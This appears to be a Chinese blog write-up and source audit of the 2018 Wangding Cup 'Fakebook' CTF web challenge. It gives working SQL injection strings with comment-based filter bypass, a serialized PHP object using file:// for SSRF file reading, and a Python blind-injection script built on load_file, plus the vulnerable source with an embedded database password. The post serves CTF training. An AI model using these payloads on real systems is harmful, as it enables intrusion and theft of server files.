[原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介
原题复现:
考察知识点:SSRF、反序列化、SQL注入
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
过程
分析了整体结构 点击jion可以添加账号还有博客地址添加OK之后会有ifram把你的博客地址引用到当前页面 jion添加的信息点击进入发现了get注入点 注入进去没flag 不过在data字段下发现了序列化的值
/view.php?no=1 and 1=1 /view.php?no=1 and 1=2 /view.php?no=1 order by 5 //发现过滤了union select 使用注释绕过 /view.php?no=-1 union/**/select 1,2,3,4 /view.php?no=-1 union/**/select 1,database(),3,4 //得到数据库数据fakebook /view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() //得到表名数据:users /view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' //得到字段数据:no,username,passwd,data /view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users //得到data字段下数据:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";}
到这里没思路了 因为我用的扫描器都没扫出什么 最后看wp才知道 robots.txt里面有东西(常识啊!!! 还是太懒。。。主要靠工具了。。)
下载源码查看
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } } }
根据源码构造序列化
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; } $a = new UserInfo(); $a->name = 'admin888'; $a->age = 12; $a->blog = 'file:///var/www/html/user.php'; echo serialize($a); ?>
O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}
在测试的时候我们发现这里有个反序列化 看WP可以通过这个为止将我们的序列化传进去 系统将会进行反序列化之后我们传入的blog值将会被传递到页面ifram里面 这样就造成SSRF攻击!得到我们想要的页面 我们可以传入flag的页面拿到flag
最终payload:
http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码获得flag
非预期解决方法
还是看wp的
因为没过滤load_file sql load_file读取。。。。。。。
脚本、
import requests url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no=' result = '' for x in range(0, 100): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid) response = requests.get(url + payload) if 'www.123.com' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
程序代码审计
index.php页面

<?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php $flag = "FLAG{flag is in your mind}"; $db = new DB(); $user = new UserInfo(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Fakebook</title> <?php include 'bootstrap.php'; ?> </head> <body> <div class="container"> <h1>the Fakebook</h1> <?php if (!isset($_SESSION['username'])) { $message = "<div class='row'>"; $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>"; $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>"; $message .= "</div>"; echo $message; } ?> <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class="table"> <tr> <th>#</th> <th>username</th> <th>age</th> <th>blog</th> </tr> <?php foreach ($db->getAllUsers() as $user) //调用db里面的方法 getAllUsers() { $data = unserialize($user['data']); echo "<tr>"; echo "<td>{$user['no']}</td>"; echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>"; echo "<td>{$data->age}</td>"; echo "<td>{$data->blog}</td>"; echo "</tr>\n"; } ?> </table> </div>
获得$db->getAllUsers()数据之后循环 输出在页面之中 53行将数据反序列化序列化输出到页面之中 我们可以在首页看到 我们注册完一个用户之后 data对应的是blog就是我们的博客 也就是说我们注册用户所填写的博客地址存进数据库时就被序列化了用的时候再取出来反序列化一下 展示在页面之中
发现getAllusers()先追溯一下 在db.php页面
db.php页面 这个函数的功能 查询数据表users 之后返回出去
join.ok.php(注册页面)
这个程序10行实例化一个DB对象() ob对象存在于 db.php页面中往下审计db.php页面之后再回来
12-15行获取我们join.php页面表单传输过来的值
17行实例化了userinfo对象UserInfo存在于user.php页面之中往下拉先审计user.php页面之后再回来
然后进行一系列判断 可以追溯到user.php页面中的对应函数 判断博客地址符不符合正则匹配 不符合则弹窗!
第二个判断isValidUsername() 这个函数存在于db.php页面 是查询有没有这个用户如果有则弹窗
第31行使用db.php里面的insertUser()函数将输入插入进数据库中
之后复合所有规则则使用insertUser()将数据插入数据库中 追溯到insesrtUser可以看到将我们传进去的$user变量里面存储的是博客地址进行了序列化。
33行执行login()函数进行登录
先追溯DB()对象 在db.php页面
db.php页面整体代码
<?php require_once 'lib.php'; $mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook'); class DB { function __construct() { // $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook'); } //查询用户的函数 public function isValidUsername($username) { global $mysqli; $query = "select * from users where username = '{$username}'"; $res = $mysqli->query($query); if (!$res->fetch_array()) { return 1; } else { return 0; } } //登陆的函数 function login($username, $passwd) { global $mysqli; $username = addslashes($username); $passwd = sha512($passwd); $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'"; $res = $mysqli->query($query); return $res->fetch_array(); } //将数据插入到数据库中 function insertUser($username, $passwd, $data) { global $mysqli; $username = substr($username, 0, 100); $username = addslashes($username); $passwd = sha512($passwd); $data = serialize($data); //将data数据序列化存储 $data = addslashes($data); $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')"; return $mysqli->real_query($query); } //查询整个users表 public function getAllUsers() { global $mysqli; $query = "select * from users"; $res = $mysqli->query($query); return $res->fetch_all(MYSQLI_ASSOC); } //获取指定数据库中的用户 public function getUserByNo($no) { global $mysqli; // $no = addslashes($no); $query = "select * from users where no = {$no}"; $res = $mysqli->query($query); if (!$res) { echo "<p>[*] query error! ({$mysqli->error})</p>"; } return $res->fetch_assoc(); } //SQL黑名单 public function anti_sqli($no) { $patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no); } } /* CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM; */
user.php
简单审计...... 看完之后继续回到刚才的join.ok.php继续设计
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog)//当程序被实例化时执行_construct { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } //此处存在SSRF漏洞 如果我们使用file:///读取文件将会造成SSRF漏洞!!! function get($url) { $ch = curl_init(); //初始化一个cURL会话 curl_setopt($ch, CURLOPT_URL, $url); //设置一个cURL传输选项。 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出 $output = curl_exec($ch); //执行一个curl_exec会话 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个cURL连接资源句柄的信息 if($httpCode == 404) { return 404; } curl_close($ch);//关闭一个一个curl_exec会话 return $output; } public function getBlogContents (//将当前获取到的博客地址传进get()函数里面 { return $this->get($this->blog); } public function isValidBlog () //判断输入的博客地址符不符合正则匹配 { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
View.php
页面整体代码

<?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php require_once 'error.php'; ?> <?php $db = new DB(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>User</title> <?php require_once 'bootstrap.php'; ?> </head> <body> <?php $no = $_GET['no']; if ($db->anti_sqli($no)) { die("no hack ~_~"); } $res = $db->getUserByNo($no); $user = unserialize($res['data']); //print_r($res); ?> <div class="container"> <table class="table"> <tr> <th> username </th> <th> age </th> <th> blog </th> </tr> <tr> <td> <?php echo $res['username']; ?> </td> <td> <?php echo $user->age; ?> </td> <td> <?php echo xss($user->blog); ?> </td> </tr> </table> <hr> <br><br><br><br><br> <p>the contents of his/her blog</p> <hr> <?php $response = $user->getBlogContents(); if ($response === 404) { echo "404 Not found"; } else { $base64 = base64_encode($response); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>"; // echo $response; } // var_dump($user->getBlogContents()); ?> </div> </body> </html>
24行接收get传进来值
25行使用db函数中的anti_sqli()函数进行过滤 这个函数过滤了union select|0x|hex这三个 滞后使用getUserByNo()函数进行数据查询 这里存在SQL注入漏洞
31行将查询到的data数据进行序列化显示!
67行执行user.php里面的getBlogContent()函数 如果返回404则页面不存在否则使用iframe输出到页面之中 这里存在SSRF漏洞
审计完总结:view页面存在get注入漏洞:通过sql可以简单绕过黑名单限制进行SQL注入
join页面存在post注入漏洞
在页面中直接提交file///etc/passwd 因为有正则匹配无法造成SSRF漏洞 但是我们可以借用sql配合使用SSRF获取我们想要的文件 本地序列化一个值然后通过SQL注入代入进去在位置4放入我们的序列化值因为位置4有个反序列化所以我们序列化的值进行反序列化的时候就可以成功执行file///etc/passwd 。
参考学习:https://www.cnblogs.com/20175211lyz/p/11469695.html
https://xz.aliyun.com/t/2607
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类